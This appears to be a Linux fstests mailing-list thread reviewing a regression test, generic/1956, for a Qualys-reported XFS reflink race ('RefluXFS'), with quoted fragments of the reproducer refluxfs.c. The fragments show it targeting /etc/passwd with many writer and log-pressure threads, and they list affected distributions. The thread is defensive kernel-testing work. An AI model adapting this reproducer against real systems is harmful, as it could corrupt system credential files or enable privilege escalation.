refluxfs. _require_test_program should have _notrun if the binary
didn't build, so ... I don't know what's going on here. Does
$seqres.full have anything interesting to say? Or does su'ing to fsgqa
not work?
(FWIW it works fine on my system even with large block size)
--D
> ...
> (Run 'diff -u /root/git/xfstests-dev/tests/generic/1956.out /root/git/xfstests-dev/results//generic/1956.out.bad' to see the entire diff)
>
> HINT: You _MAY_ be missing kernel fix:
> 2f4acd0fcd862e xfs: resample the data fork mapping after cycling ILOCK
>
> Ran: generic/1956
> Failures: generic/1956
> Failed 1 of 1 tests
>
> root@bogon:~/git/xfstests-dev# ./check generic/1956
> FSTYP -- btrfs
> PLATFORM -- Linux/x86_64 bogon 7.2.0-mainline+ #3 SMP PREEMPT_DYNAMIC Mon Aug 24 20:34:26 CST 2026
> MKFS_OPTIONS -- /dev/sdc1
> MOUNT_OPTIONS -- -o context=system_u:object_r:root_t:s0 /dev/sdc1 /mnt/scratch
>
> generic/1956 - output mismatch (see /root/git/xfstests-dev/results//generic/1956.out.bad)
> --- tests/generic/1956.out 2026-08-24 14:19:18.790104900 +0800
> +++ /root/git/xfstests-dev/results//generic/1956.out.bad 2026-08-24 21:44:35.654443414 +0800
> @@ -1,2 +1,2 @@
> QA output created by 1956
> -corruption not observed
> +unknown outcome 126
> ...
> (Run 'diff -u /root/git/xfstests-dev/tests/generic/1956.out /root/git/xfstests-dev/results//generic/1956.out.bad' to see the entire diff)
> Ran: generic/1956
> Failures: generic/1956
> Failed 1 of 1 tests
>
>
> > .gitignore | 1
> > src/Makefile | 2
> > src/refluxfs.c | 461 ++++++++++++++++++++++++++++++++++++++++++++++++
> > tests/generic/1956 | 58 ++++++
> > tests/generic/1956.out | 2
> > 5 files changed, 523 insertions(+), 1 deletion(-)
> > create mode 100644 src/refluxfs.c
> > create mode 100755 tests/generic/1956
> > create mode 100644 tests/generic/1956.out
> >
>
> [snip]
>
> > +#ifndef FICLONE
> > +#define FICLONE _IOW(0x94, 9, int)
> > +#endif
> > +#ifndef XFS_SUPER_MAGIC
> > +#define XFS_SUPER_MAGIC 0x58465342
> > +#endif
> > +
> > +#define BLK 4096
>
> This's a hard code, what if the fs blocksize or pagesize isn't 4096?
>
> > +
> > +/* ---- configuration (overridable via CLI) --------------------------------- */
> > +static const char *target_path = "/etc/passwd";
> > +static const char *clone_dir = "/var/tmp";
> > +static int nr_writers = 32;
> > +static int nr_pressure = 8;
> > +static int budget_s = 300;
> > +
>
> [snip]
>
> > +
> > +#if 0
> > +static int is_xfs(const char *p)
> > +{
> > + struct statfs s;
> > + if (statfs(p, &s)) return -1;
> > + return s.f_type == XFS_SUPER_MAGIC;
> > +}
> > +#endif
>
> If this's useless, how about remove them?
>
> > +
> > +/* FIEMAP: is the target's first extent already shared (refcount > 1)?
> > + * If so the race can never see refcount==1. */
> > +static int target_first_extent_shared(void)
> > +{
>
> [snip]
>
> > +#if 0
> > + /* 2. target on XFS */
> > + int x = is_xfs(target_path);
> > + if (x < 0) die(1, "statfs target", NULL);
> > + if (!x) {
> > + BAD("target is not on XFS (f_type != XFS_SUPER_MAGIC).");
> > + INFO("RefluXFS only affects XFS with reflink=1 (mkfs.xfs default since");
> > + INFO("xfsprogs 5.1.0; backported by Red Hat for RHEL 8 GA). Default root");
> > + INFO("fs on RHEL/CentOS/Rocky/Alma/OL/CloudLinux 8+, Fedora Server 31+,");
> > + INFO("Amazon Linux 2023.");
> > + exit(1);
> > + }
> > + OK("target is on XFS");
> > +#endif
>
> Same
>
> > +
> > + /* 3. clone_dir on the same superblock */
> > + if (access(clone_dir, W_OK)) die(1, "clone dir not writable",
> > + "Need a writable directory on the SAME XFS filesystem as the target.");
>
> [snip]
>
> > +static void *pressure(void *arg)
> > +{
> > + char p[600];
> > + snprintf(p, sizeof p, "%s/press.%d", workdir, (int)(intptr_t)arg);
> > + int fd = open(p, O_RDWR|O_CREAT|O_TRUNC, 0600);
> > + if (fd < 0) return NULL;
> > + char b = 0;
> > + while (!atomic_load(&stop)) {
> > + /* return values irrelevant -- goal is XFS log traffic, not the data */
> > + (void)!pwrite(fd, &b, 1, 0);
> > + (void)!ftruncate(fd, BLK);
> > + fdatasync(fd);
> > + (void)!ftruncate(fd, 0);
>
> As this's a generic test case, the pressure() works for XFS CIL, does it work
> for other filesystems?
>
> Thanks,
> Zorro
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH v2] generic: regression test for refluxfs fixes
2026-08-24 14:05 ` Zorro Lang
2026-08-24 16:45 ` Darrick J. Wong
@ 2026-08-24 17:40 ` Darrick J. Wong
1 sibling, 0 replies; 8+ messages in thread
From: Darrick J. Wong @ 2026-08-24 17:40 UTC (permalink / raw)
To: qsa, fstests, xfs
On Mon, Aug 24, 2026 at 10:05:25PM +0800, Zorro Lang wrote:
> On Fri, Aug 21, 2026 at 04:51:55PM -0700, Darrick J. Wong wrote:
> > From: Darrick J. Wong <djwong@kernel.org>
> >
> > Regression test for refluxfs as found by Qualys.
> >
> > Reported-by: qsa@qualys.com
> > Co-developed-by: qsa@qualys.com
> > Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
> > ---
> > v2: add co-author credits
> > ---
>
> Hi Darrick,
>
> I just gave this patch a try on linux v7.2+ which contains the commit
> 2f4acd0fcd862e, but the test still fails as shown below on both xfs
> and btrfs. Did I miss anything?
>
> root@bogon:~/git/linux# git tag --contains 2f4acd0fcd862e
> v7.2
> v7.2-rc4
> v7.2-rc5
> v7.2-rc6
> v7.2-rc7
>
> root@bogon:~/git/xfstests-dev# ./check generic/1956
> FSTYP -- xfs (debug)
> PLATFORM -- Linux/x86_64 bogon 7.2.0-mainline+ #3 SMP PREEMPT_DYNAMIC Mon Aug 24 20:34:26 CST 2026
> MKFS_OPTIONS -- -f /dev/sdc1
> MOUNT_OPTIONS -- -o context=system_u:object_r:root_t:s0 /dev/sdc1 /mnt/scratch
>
> generic/1956 - output mismatch (see /root/git/xfstests-dev/results//generic/1956.out.bad)
> --- tests/generic/1956.out 2026-08-24 14:19:18.790104900 +0800
> +++ /root/git/xfstests-dev/results//generic/1956.out.bad 2026-08-24 21:41:51.884222239 +0800
> @@ -1,2 +1,2 @@
> QA output created by 1956
> -corruption not observed
> +unknown outcome 126
> ...
> (Run 'diff -u /root/git/xfstests-dev/tests/generic/1956.out /root/git/xfstests-dev/results//generic/1956.out.bad' to see the entire diff)
>
> HINT: You _MAY_ be missing kernel fix:
> 2f4acd0fcd862e xfs: resample the data fork mapping after cycling ILOCK
>
> Ran: generic/1956
> Failures: generic/1956
> Failed 1 of 1 tests
>
> root@bogon:~/git/xfstests-dev# ./check generic/1956
> FSTYP -- btrfs
> PLATFORM -- Linux/x86_64 bogon 7.2.0-mainline+ #3 SMP PREEMPT_DYNAMIC Mon Aug 24 20:34:26 CST 2026
> MKFS_OPTIONS -- /dev/sdc1
> MOUNT_OPTIONS -- -o context=system_u:object_r:root_t:s0 /dev/sdc1 /mnt/scratch
>
> generic/1956 - output mismatch (see /root/git/xfstests-dev/results//generic/1956.out.bad)
> --- tests/generic/1956.out 2026-08-24 14:19:18.790104900 +0800
> +++ /root/git/xfstests-dev/results//generic/1956.out.bad 2026-08-24 21:44:35.654443414 +0800
> @@ -1,2 +1,2 @@
> QA output created by 1956
> -corruption not observed
> +unknown outcome 126
> ...
> (Run 'diff -u /root/git/xfstests-dev/tests/generic/1956.out /root/git/xfstests-dev/results//generic/1956.out.bad' to see the entire diff)
> Ran: generic/1956
> Failures: generic/1956
> Failed 1 of 1 tests
>
>
> > .gitignore | 1
> > src/Makefile | 2
> > src/refluxfs.c | 461 ++++++++++++++++++++++++++++++++++++++++++++++++
> > tests/generic/1956 | 58 ++++++
> > tests/generic/1956.out | 2
> > 5 files changed, 523 insertions(+), 1 deletion(-)
> > create mode 100644 src/refluxfs.c
> > create mode 100755 tests/generic/1956
> > create mode 100644 tests/generic/1956.out
> >
>
> [snip]
>
> > +#ifndef FICLONE
> > +#define FICLONE _IOW(0x94, 9, int)
> > +#endif
> > +#ifndef XFS_SUPER_MAGIC
> > +#define XFS_SUPER_MAGIC 0x58465342
> > +#endif
> > +
> > +#define BLK 4096
>
> This's a hard code, what if the fs blocksize or pagesize isn't 4096?
It reproduced the problem on 1k and 64k fsblocks before I'd patched the
kernel. AFAICT "BLK" really just means the application buffer size for
doing IO and doesn't actually have to match the fs blocksize.
> > +
> > +/* ---- configuration (overridable via CLI) --------------------------------- */
> > +static const char *target_path = "/etc/passwd";
> > +static const char *clone_dir = "/var/tmp";
> > +static int nr_writers = 32;
> > +static int nr_pressure = 8;
> > +static int budget_s = 300;
> > +
>
> [snip]
>
> > +
> > +#if 0
> > +static int is_xfs(const char *p)
> > +{
> > + struct statfs s;
> > + if (statfs(p, &s)) return -1;
> > + return s.f_type == XFS_SUPER_MAGIC;
> > +}
> > +#endif
>
> If this's useless, how about remove them?
>
> > +
> > +/* FIEMAP: is the target's first extent already shared (refcount > 1)?
> > + * If so the race can never see refcount==1. */
> > +static int target_first_extent_shared(void)
> > +{
>
> [snip]
>
> > +#if 0
> > + /* 2. target on XFS */
> > + int x = is_xfs(target_path);
> > + if (x < 0) die(1, "statfs target", NULL);
> > + if (!x) {
> > + BAD("target is not on XFS (f_type != XFS_SUPER_MAGIC).");
> > + INFO("RefluXFS only affects XFS with reflink=1 (mkfs.xfs default since");
> > + INFO("xfsprogs 5.1.0; backported by Red Hat for RHEL 8 GA). Default root");
> > + INFO("fs on RHEL/CentOS/Rocky/Alma/OL/CloudLinux 8+, Fedora Server 31+,");
> > + INFO("Amazon Linux 2023.");
> > + exit(1);
> > + }
> > + OK("target is on XFS");
> > +#endif
>
> Same
Will remove both of these dead code sections.
> > +
> > + /* 3. clone_dir on the same superblock */
> > + if (access(clone_dir, W_OK)) die(1, "clone dir not writable",
> > + "Need a writable directory on the SAME XFS filesystem as the target.");
>
> [snip]
>
> > +static void *pressure(void *arg)
> > +{
> > + char p[600];
> > + snprintf(p, sizeof p, "%s/press.%d", workdir, (int)(intptr_t)arg);
> > + int fd = open(p, O_RDWR|O_CREAT|O_TRUNC, 0600);
> > + if (fd < 0) return NULL;
> > + char b = 0;
> > + while (!atomic_load(&stop)) {
> > + /* return values irrelevant -- goal is XFS log traffic, not the data */
> > + (void)!pwrite(fd, &b, 1, 0);
> > + (void)!ftruncate(fd, BLK);
> > + fdatasync(fd);
> > + (void)!ftruncate(fd, 0);
>
> As this's a generic test case, the pressure() works for XFS CIL, does it work
> for other filesystems?
Neither of them (btrfs, ocfs2) are vulnerable to this problem because
they don't have the design flaw in the first place. So I don't know how
to answer that question.
It's probably not necessary to run this testcase against other
filesystems but as there's nothing xfs-specific in the test case, why
not let them run on the others?
--D
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH v2] generic: regression test for refluxfs fixes
2026-08-24 16:45 ` Darrick J. Wong
@ 2026-08-24 18:15 ` Zorro Lang
2026-08-24 19:15 ` Darrick J. Wong
0 siblings, 1 reply; 8+ messages in thread
From: Zorro Lang @ 2026-08-24 18:15 UTC (permalink / raw)
To: Darrick J. Wong; +Cc: qsa, fstests, xfs
On Mon, Aug 24, 2026 at 09:45:16AM -0700, Darrick J. Wong wrote:
> On Mon, Aug 24, 2026 at 10:05:25PM +0800, Zorro Lang wrote:
> > On Fri, Aug 21, 2026 at 04:51:55PM -0700, Darrick J. Wong wrote:
> > > From: Darrick J. Wong <djwong@kernel.org>
> > >
> > > Regression test for refluxfs as found by Qualys.
> > >
> > > Reported-by: qsa@qualys.com
> > > Co-developed-by: qsa@qualys.com
> > > Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
> > > ---
> > > v2: add co-author credits
> > > ---
> >
> > Hi Darrick,
> >
> > I just gave this patch a try on linux v7.2+ which contains the commit
> > 2f4acd0fcd862e, but the test still fails as shown below on both xfs
> > and btrfs. Did I miss anything?
> >
> > root@bogon:~/git/linux# git tag --contains 2f4acd0fcd862e
> > v7.2
> > v7.2-rc4
> > v7.2-rc5
> > v7.2-rc6
> > v7.2-rc7
> >
> > root@bogon:~/git/xfstests-dev# ./check generic/1956
> > FSTYP -- xfs (debug)
> > PLATFORM -- Linux/x86_64 bogon 7.2.0-mainline+ #3 SMP PREEMPT_DYNAMIC Mon Aug 24 20:34:26 CST 2026
> > MKFS_OPTIONS -- -f /dev/sdc1
> > MOUNT_OPTIONS -- -o context=system_u:object_r:root_t:s0 /dev/sdc1 /mnt/scratch
> >
> > generic/1956 - output mismatch (see /root/git/xfstests-dev/results//generic/1956.out.bad)
> > --- tests/generic/1956.out 2026-08-24 14:19:18.790104900 +0800
> > +++ /root/git/xfstests-dev/results//generic/1956.out.bad 2026-08-24 21:41:51.884222239 +0800
> > @@ -1,2 +1,2 @@
> > QA output created by 1956
> > -corruption not observed
> > +unknown outcome 126
>
> 126 is probably su trying to communicate that it couldn't actually run
> refluxfs. _require_test_program should have _notrun if the binary
> didn't build, so ... I don't know what's going on here. Does
> $seqres.full have anything interesting to say? Or does su'ing to fsgqa
> not work?
Wow, you reminded me! The /root/ directory doesn't has 'x' permission for others,
so this $qa_user can't run /root/git/xfstests-dev/src/refluxfs . My bad, now
it works :)
>
> (FWIW it works fine on my system even with large block size)
It's fine with large block size? In my review comments below, I questioned
the hardcoded "BLK=4096". While it might not fail on an XFS with a non-4k
block size, it probably won't trigger the bug either on an unfixed kernel,
right?
Thanks,
Zorro
>
> --D
>
> > ...
> > (Run 'diff -u /root/git/xfstests-dev/tests/generic/1956.out /root/git/xfstests-dev/results//generic/1956.out.bad' to see the entire diff)
> >
> > HINT: You _MAY_ be missing kernel fix:
> > 2f4acd0fcd862e xfs: resample the data fork mapping after cycling ILOCK
> >
> > Ran: generic/1956
> > Failures: generic/1956
> > Failed 1 of 1 tests
> >
> > root@bogon:~/git/xfstests-dev# ./check generic/1956
> > FSTYP -- btrfs
> > PLATFORM -- Linux/x86_64 bogon 7.2.0-mainline+ #3 SMP PREEMPT_DYNAMIC Mon Aug 24 20:34:26 CST 2026
> > MKFS_OPTIONS -- /dev/sdc1
> > MOUNT_OPTIONS -- -o context=system_u:object_r:root_t:s0 /dev/sdc1 /mnt/scratch
> >
> > generic/1956 - output mismatch (see /root/git/xfstests-dev/results//generic/1956.out.bad)
> > --- tests/generic/1956.out 2026-08-24 14:19:18.790104900 +0800
> > +++ /root/git/xfstests-dev/results//generic/1956.out.bad 2026-08-24 21:44:35.654443414 +0800
> > @@ -1,2 +1,2 @@
> > QA output created by 1956
> > -corruption not observed
> > +unknown outcome 126
> > ...
> > (Run 'diff -u /root/git/xfstests-dev/tests/generic/1956.out /root/git/xfstests-dev/results//generic/1956.out.bad' to see the entire diff)
> > Ran: generic/1956
> > Failures: generic/1956
> > Failed 1 of 1 tests
> >
> >
> > > .gitignore | 1
> > > src/Makefile | 2
> > > src/refluxfs.c | 461 ++++++++++++++++++++++++++++++++++++++++++++++++
> > > tests/generic/1956 | 58 ++++++
> > > tests/generic/1956.out | 2
> > > 5 files changed, 523 insertions(+), 1 deletion(-)
> > > create mode 100644 src/refluxfs.c
> > > create mode 100755 tests/generic/1956
> > > create mode 100644 tests/generic/1956.out
> > >
> >
> > [snip]
> >
> > > +#ifndef FICLONE
> > > +#define FICLONE _IOW(0x94, 9, int)
> > > +#endif
> > > +#ifndef XFS_SUPER_MAGIC
> > > +#define XFS_SUPER_MAGIC 0x58465342
> > > +#endif
> > > +
> > > +#define BLK 4096
> >
> > This's a hard code, what if the fs blocksize or pagesize isn't 4096?
> >
> > > +
> > > +/* ---- configuration (overridable via CLI) --------------------------------- */
> > > +static const char *target_path = "/etc/passwd";
> > > +static const char *clone_dir = "/var/tmp";
> > > +static int nr_writers = 32;
> > > +static int nr_pressure = 8;
> > > +static int budget_s = 300;
> > > +
> >
> > [snip]
> >
> > > +
> > > +#if 0
> > > +static int is_xfs(const char *p)
> > > +{
> > > + struct statfs s;
> > > + if (statfs(p, &s)) return -1;
> > > + return s.f_type == XFS_SUPER_MAGIC;
> > > +}
> > > +#endif
> >
> > If this's useless, how about remove them?
> >
> > > +
> > > +/* FIEMAP: is the target's first extent already shared (refcount > 1)?
> > > + * If so the race can never see refcount==1. */
> > > +static int target_first_extent_shared(void)
> > > +{
> >
> > [snip]
> >
> > > +#if 0
> > > + /* 2. target on XFS */
> > > + int x = is_xfs(target_path);
> > > + if (x < 0) die(1, "statfs target", NULL);
> > > + if (!x) {
> > > + BAD("target is not on XFS (f_type != XFS_SUPER_MAGIC).");
> > > + INFO("RefluXFS only affects XFS with reflink=1 (mkfs.xfs default since");
> > > + INFO("xfsprogs 5.1.0; backported by Red Hat for RHEL 8 GA). Default root");
> > > + INFO("fs on RHEL/CentOS/Rocky/Alma/OL/CloudLinux 8+, Fedora Server 31+,");
> > > + INFO("Amazon Linux 2023.");
> > > + exit(1);
> > > + }
> > > + OK("target is on XFS");
> > > +#endif
> >
> > Same
> >
> > > +
> > > + /* 3. clone_dir on the same superblock */
> > > + if (access(clone_dir, W_OK)) die(1, "clone dir not writable",
> > > + "Need a writable directory on the SAME XFS filesystem as the target.");
> >
> > [snip]
> >
> > > +static void *pressure(void *arg)
> > > +{
> > > + char p[600];
> > > + snprintf(p, sizeof p, "%s/press.%d", workdir, (int)(intptr_t)arg);
> > > + int fd = open(p, O_RDWR|O_CREAT|O_TRUNC, 0600);
> > > + if (fd < 0) return NULL;
> > > + char b = 0;
> > > + while (!atomic_load(&stop)) {
> > > + /* return values irrelevant -- goal is XFS log traffic, not the data */
> > > + (void)!pwrite(fd, &b, 1, 0);
> > > + (void)!ftruncate(fd, BLK);
> > > + fdatasync(fd);
> > > + (void)!ftruncate(fd, 0);
> >
> > As this's a generic test case, the pressure() works for XFS CIL, does it work
> > for other filesystems?
> >
> > Thanks,
> > Zorro
>
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH v2] generic: regression test for refluxfs fixes
2026-08-24 18:15 ` Zorro Lang
@ 2026-08-24 19:15 ` Darrick J. Wong
2026-08-24 20:18 ` Zorro Lang
0 siblings, 1 reply; 8+ messages in thread
From: Darrick J. Wong @ 2026-08-24 19:15 UTC (permalink / raw)
To: qsa, fstests, xfs
On Tue, Aug 25, 2026 at 02:15:31AM +0800, Zorro Lang wrote:
> On Mon, Aug 24, 2026 at 09:45:16AM -0700, Darrick J. Wong wrote:
> > On Mon, Aug 24, 2026 at 10:05:25PM +0800, Zorro Lang wrote:
> > > On Fri, Aug 21, 2026 at 04:51:55PM -0700, Darrick J. Wong wrote:
> > > > From: Darrick J. Wong <djwong@kernel.org>
> > > >
> > > > Regression test for refluxfs as found by Qualys.
> > > >
> > > > Reported-by: qsa@qualys.com
> > > > Co-developed-by: qsa@qualys.com
> > > > Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
> > > > ---
> > > > v2: add co-author credits
> > > > ---
> > >
> > > Hi Darrick,
> > >
> > > I just gave this patch a try on linux v7.2+ which contains the commit
> > > 2f4acd0fcd862e, but the test still fails as shown below on both xfs
> > > and btrfs. Did I miss anything?
> > >
> > > root@bogon:~/git/linux# git tag --contains 2f4acd0fcd862e
> > > v7.2
> > > v7.2-rc4
> > > v7.2-rc5
> > > v7.2-rc6
> > > v7.2-rc7
> > >
> > > root@bogon:~/git/xfstests-dev# ./check generic/1956
> > > FSTYP -- xfs (debug)
> > > PLATFORM -- Linux/x86_64 bogon 7.2.0-mainline+ #3 SMP PREEMPT_DYNAMIC Mon Aug 24 20:34:26 CST 2026
> > > MKFS_OPTIONS -- -f /dev/sdc1
> > > MOUNT_OPTIONS -- -o context=system_u:object_r:root_t:s0 /dev/sdc1 /mnt/scratch
> > >
> > > generic/1956 - output mismatch (see /root/git/xfstests-dev/results//generic/1956.out.bad)
> > > --- tests/generic/1956.out 2026-08-24 14:19:18.790104900 +0800
> > > +++ /root/git/xfstests-dev/results//generic/1956.out.bad 2026-08-24 21:41:51.884222239 +0800
> > > @@ -1,2 +1,2 @@
> > > QA output created by 1956
> > > -corruption not observed
> > > +unknown outcome 126
> >
> > 126 is probably su trying to communicate that it couldn't actually run
> > refluxfs. _require_test_program should have _notrun if the binary
> > didn't build, so ... I don't know what's going on here. Does
> > $seqres.full have anything interesting to say? Or does su'ing to fsgqa
> > not work?
>
> Wow, you reminded me! The /root/ directory doesn't has 'x' permission for others,
> so this $qa_user can't run /root/git/xfstests-dev/src/refluxfs . My bad, now
> it works :)
Oh.
> >
> > (FWIW it works fine on my system even with large block size)
>
> It's fine with large block size? In my review comments below, I questioned
> the hardcoded "BLK=4096". While it might not fail on an XFS with a non-4k
> block size, it probably won't trigger the bug either on an unfixed kernel,
> right?
It should on a 1k fsblock filesystem the kernel will just mash
four blocks. Though I guess for a 64k fsblock filesystem it'll fall
back to pagecache writes and fail to trigger it.
I dunno. Changing BLK to 65536 seems to make it reproduce reliably here
on every fsblock size between 1k and 64k so I'll make that modification
and resend it.
--D
> Thanks,
> Zorro
>
> >
> > --D
> >
> > > ...
> > > (Run 'diff -u /root/git/xfstests-dev/tests/generic/1956.out /root/git/xfstests-dev/results//generic/1956.out.bad' to see the entire diff)
> > >
> > > HINT: You _MAY_ be missing kernel fix:
> > > 2f4acd0fcd862e xfs: resample the data fork mapping after cycling ILOCK
> > >
> > > Ran: generic/1956
> > > Failures: generic/1956
> > > Failed 1 of 1 tests
> > >
> > > root@bogon:~/git/xfstests-dev# ./check generic/1956
> > > FSTYP -- btrfs
> > > PLATFORM -- Linux/x86_64 bogon 7.2.0-mainline+ #3 SMP PREEMPT_DYNAMIC Mon Aug 24 20:34:26 CST 2026
> > > MKFS_OPTIONS -- /dev/sdc1
> > > MOUNT_OPTIONS -- -o context=system_u:object_r:root_t:s0 /dev/sdc1 /mnt/scratch
> > >
> > > generic/1956 - output mismatch (see /root/git/xfstests-dev/results//generic/1956.out.bad)
> > > --- tests/generic/1956.out 2026-08-24 14:19:18.790104900 +0800
> > > +++ /root/git/xfstests-dev/results//generic/1956.out.bad 2026-08-24 21:44:35.654443414 +0800
> > > @@ -1,2 +1,2 @@
> > > QA output created by 1956
> > > -corruption not observed
> > > +unknown outcome 126
> > > ...
> > > (Run 'diff -u /root/git/xfstests-dev/tests/generic/1956.out /root/git/xfstests-dev/results//generic/1956.out.bad' to see the entire diff)
> > > Ran: generic/1956
> > > Failures: generic/1956
> > > Failed 1 of 1 tests
> > >
> > >
> > > > .gitignore | 1
> > > > src/Makefile | 2
> > > > src/refluxfs.c | 461 ++++++++++++++++++++++++++++++++++++++++++++++++
> > > > tests/generic/1956 | 58 ++++++
> > > > tests/generic/1956.out | 2
> > > > 5 files changed, 523 insertions(+), 1 deletion(-)
> > > > create mode 100644 src/refluxfs.c
> > > > create mode 100755 tests/generic/1956
> > > > create mode 100644 tests/generic/1956.out
> > > >
> > >
> > > [snip]
> > >
> > > > +#ifndef FICLONE
> > > > +#define FICLONE _IOW(0x94, 9, int)
> > > > +#endif
> > > > +#ifndef XFS_SUPER_MAGIC
> > > > +#define XFS_SUPER_MAGIC 0x58465342
> > > > +#endif
> > > > +
> > > > +#define BLK 4096
> > >
> > > This's a hard code, what if the fs blocksize or pagesize isn't 4096?
> > >
> > > > +
> > > > +/* ---- configuration (overridable via CLI) --------------------------------- */
> > > > +static const char *target_path = "/etc/passwd";
> > > > +static const char *clone_dir = "/var/tmp";
> > > > +static int nr_writers = 32;
> > > > +static int nr_pressure = 8;
> > > > +static int budget_s = 300;
> > > > +
> > >
> > > [snip]
> > >
> > > > +
> > > > +#if 0
> > > > +static int is_xfs(const char *p)
> > > > +{
> > > > + struct statfs s;
> > > > + if (statfs(p, &s)) return -1;
> > > > + return s.f_type == XFS_SUPER_MAGIC;
> > > > +}
> > > > +#endif
> > >
> > > If this's useless, how about remove them?
> > >
> > > > +
> > > > +/* FIEMAP: is the target's first extent already shared (refcount > 1)?
> > > > + * If so the race can never see refcount==1. */
> > > > +static int target_first_extent_shared(void)
> > > > +{
> > >
> > > [snip]
> > >
> > > > +#if 0
> > > > + /* 2. target on XFS */
> > > > + int x = is_xfs(target_path);
> > > > + if (x < 0) die(1, "statfs target", NULL);
> > > > + if (!x) {
> > > > + BAD("target is not on XFS (f_type != XFS_SUPER_MAGIC).");
> > > > + INFO("RefluXFS only affects XFS with reflink=1 (mkfs.xfs default since");
> > > > + INFO("xfsprogs 5.1.0; backported by Red Hat for RHEL 8 GA). Default root");
> > > > + INFO("fs on RHEL/CentOS/Rocky/Alma/OL/CloudLinux 8+, Fedora Server 31+,");
> > > > + INFO("Amazon Linux 2023.");
> > > > + exit(1);
> > > > + }
> > > > + OK("target is on XFS");
> > > > +#endif
> > >
> > > Same
> > >
> > > > +
> > > > + /* 3. clone_dir on the same superblock */
> > > > + if (access(clone_dir, W_OK)) die(1, "clone dir not writable",
> > > > + "Need a writable directory on the SAME XFS filesystem as the target.");
> > >
> > > [snip]
> > >
> > > > +static void *pressure(void *arg)
> > > > +{
> > > > + char p[600];
> > > > + snprintf(p, sizeof p, "%s/press.%d", workdir, (int)(intptr_t)arg);
> > > > + int fd = open(p, O_RDWR|O_CREAT|O_TRUNC, 0600);
> > > > + if (fd < 0) return NULL;
> > > > + char b = 0;
> > > > + while (!atomic_load(&stop)) {
> > > > + /* return values irrelevant -- goal is XFS log traffic, not the data */
> > > > + (void)!pwrite(fd, &b, 1, 0);
> > > > + (void)!ftruncate(fd, BLK);
> > > > + fdatasync(fd);
> > > > + (void)!ftruncate(fd, 0);
> > >
> > > As this's a generic test case, the pressure() works for XFS CIL, does it work
> > > for other filesystems?
> > >
> > > Thanks,
> > > Zorro
> >
>
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH v2] generic: regression test for refluxfs fixes
2026-08-24 19:15 ` Darrick J. Wong
@ 2026-08-24 20:18 ` Zorro Lang
0 siblings, 0 replies; 8+ messages in thread
From: Zorro Lang @ 2026-08-24 20:18 UTC (permalink / raw)
To: Darrick J. Wong; +Cc: qsa, fstests, xfs
On Mon, Aug 24, 2026 at 12:15:13PM -0700, Darrick J. Wong wrote:
> On Tue, Aug 25, 2026 at 02:15:31AM +0800, Zorro Lang wrote:
> > On Mon, Aug 24, 2026 at 09:45:16AM -0700, Darrick J. Wong wrote:
> > > On Mon, Aug 24, 2026 at 10:05:25PM +0800, Zorro Lang wrote:
> > > > On Fri, Aug 21, 2026 at 04:51:55PM -0700, Darrick J. Wong wrote:
> > > > > From: Darrick J. Wong <djwong@kernel.org>
> > > > >
> > > > > Regression test for refluxfs as found by Qualys.
> > > > >
> > > > > Reported-by: qsa@qualys.com
> > > > > Co-developed-by: qsa@qualys.com
> > > > > Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
> > > > > ---
> > > > > v2: add co-author credits
> > > > > ---
> > > >
> > > > Hi Darrick,
> > > >
> > > > I just gave this patch a try on linux v7.2+ which contains the commit
> > > > 2f4acd0fcd862e, but the test still fails as shown below on both xfs
> > > > and btrfs. Did I miss anything?
> > > >
> > > > root@bogon:~/git/linux# git tag --contains 2f4acd0fcd862e
> > > > v7.2
> > > > v7.2-rc4
> > > > v7.2-rc5
> > > > v7.2-rc6
> > > > v7.2-rc7
> > > >
> > > > root@bogon:~/git/xfstests-dev# ./check generic/1956
> > > > FSTYP -- xfs (debug)
> > > > PLATFORM -- Linux/x86_64 bogon 7.2.0-mainline+ #3 SMP PREEMPT_DYNAMIC Mon Aug 24 20:34:26 CST 2026
> > > > MKFS_OPTIONS -- -f /dev/sdc1
> > > > MOUNT_OPTIONS -- -o context=system_u:object_r:root_t:s0 /dev/sdc1 /mnt/scratch
> > > >
> > > > generic/1956 - output mismatch (see /root/git/xfstests-dev/results//generic/1956.out.bad)
> > > > --- tests/generic/1956.out 2026-08-24 14:19:18.790104900 +0800
> > > > +++ /root/git/xfstests-dev/results//generic/1956.out.bad 2026-08-24 21:41:51.884222239 +0800
> > > > @@ -1,2 +1,2 @@
> > > > QA output created by 1956
> > > > -corruption not observed
> > > > +unknown outcome 126
> > >
> > > 126 is probably su trying to communicate that it couldn't actually run
> > > refluxfs. _require_test_program should have _notrun if the binary
> > > didn't build, so ... I don't know what's going on here. Does
> > > $seqres.full have anything interesting to say? Or does su'ing to fsgqa
> > > not work?
> >
> > Wow, you reminded me! The /root/ directory doesn't has 'x' permission for others,
> > so this $qa_user can't run /root/git/xfstests-dev/src/refluxfs . My bad, now
> > it works :)
>
> Oh.
>
> > >
> > > (FWIW it works fine on my system even with large block size)
> >
> > It's fine with large block size? In my review comments below, I questioned
> > the hardcoded "BLK=4096". While it might not fail on an XFS with a non-4k
> > block size, it probably won't trigger the bug either on an unfixed kernel,
> > right?
>
> It should on a 1k fsblock filesystem the kernel will just mash
> four blocks. Though I guess for a 64k fsblock filesystem it'll fall
> back to pagecache writes and fail to trigger it.
>
> I dunno. Changing BLK to 65536 seems to make it reproduce reliably here
> on every fsblock size between 1k and 64k so I'll make that modification
> and resend it.
I just reproduced it on XFS with a 1024 block size. Apologies for the delay,
the reproduce rate on my side was quite low, so I ran it in a `while true`
loop and finally triggered the bug (I'm still waiting for the 65536 blocksize
xfs testing result).
Thanks,
Zorro
>
> --D
>
> > Thanks,
> > Zorro
> >
> > >
> > > --D
> > >
> > > > ...
> > > > (Run 'diff -u /root/git/xfstests-dev/tests/generic/1956.out /root/git/xfstests-dev/results//generic/1956.out.bad' to see the entire diff)
> > > >
> > > > HINT: You _MAY_ be missing kernel fix:
> > > > 2f4acd0fcd862e xfs: resample the data fork mapping after cycling ILOCK
> > > >
> > > > Ran: generic/1956
> > > > Failures: generic/1956
> > > > Failed 1 of 1 tests
> > > >
> > > > root@bogon:~/git/xfstests-dev# ./check generic/1956
> > > > FSTYP -- btrfs
